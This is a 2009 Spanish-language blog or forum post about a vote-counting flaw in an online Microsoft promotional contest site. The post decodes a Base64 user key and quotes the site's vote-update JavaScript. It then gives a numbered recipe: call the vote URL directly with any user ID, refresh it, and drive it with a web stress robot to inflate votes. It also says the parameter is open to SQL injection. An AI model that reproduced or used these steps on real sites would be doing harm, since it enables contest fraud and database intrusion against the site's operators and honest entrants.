[code]17 de febrero de 2009.
Por ahà hay un concurso de Microsoft donde regalan unas camaritas, unos teclados y cosas asÃ. Aunque son bonitos, no creo que me gane nada y me da tristeza ver a tanta gente (más de 16800 personas) perdiendo el tiempo. Url: [code]www.ponleestiloatuvida.com
Es notorio que Microsoft no tiene la culpa del bug de este concurso porque se infiere que fue tercerizado, ya que ¡es una aplicación php!
Cuando uno se registra en el concurso, ni siquiera se hace validación de captcha anti robot... pero bueno, el punto es que se genera un enlace como:
http://www.ponleestiloatuvida.com/?opcion=pp&key=VUlEPTEzMDMzJm49ZGE=
Llama mucho la atención la llave
VUlEPTEzMDMzJm49ZGE= que aparentemente es Base64. Luego de eso, con un decoder de base64 nos damos cuenta que efectivamente utiliza esa codificación, cuyo valor plano es:
UID=13033&n=da
De ahà podemos observar que User ID=13033
Luego, viendo el código fuente de la página abierta, encontramos unos scripts javascript donde llama la atención:
www.ponleestiloatuvida.com/js/utilities.js
En ese javascript existe una función llamada actualizarVotos()
function actualizarVotos(){
var id_usuario = $('id_usuario').value;
new Request(
{
method: 'get',
url: 'index.php?opcion=pp&a=actualizarVotos&id_usuario='+id_usuario,
onSuccess: function(texto){
$('votos').innerHTML = texto;}
}).send();
En otras palabras, cada vez que se abre la página, se verifica que no se haya abierto antes y luego se utiliza la función actualizarVotos, pero es posible saltar la lógica para actualizar los votos, unicamente con un sencillo url, donde XXXXXX es el ID del usuario:
www.ponleestiloatuvida.com/index.php?opcion=pp&a=actualizarVotos&id_usuario=XXXXXXX
Presionando varias veces F5 es posible agregar votos desde una única estación.
Por otro lado, esa variable de entrada de datos pasa directamente a la base de datos sin validaciones
y existe la posibilidad de realizar inyecciones SQL en este concurso.RESUMIENDO:1. Decodificar el código en Base 64 en la url principal. Para eso se puede usar
http://www.elhacker.net/base64.htm
2. Modificar la url para agregar el ID del usuario.
EJEMPLO:
1. Url del participante:
http://www.ponleestiloatuvida.com/?opcion=pp&key=VUlEPTEzMDMzJm49ZGE=
2. Valor a decodificar:
VUlEPTEzMDMzJm49ZGE=
3. Valor decodificado
UID=13033&n=da
4. Url para registrar votos con solo presionar F5
www.ponleestiloatuvida.com/index.php?opcion=pp&a=actualizarVotos&id_usuario=13033
5. Utilizar un robot de stress web para hacer múltiples clics por segundo.[/code][/code]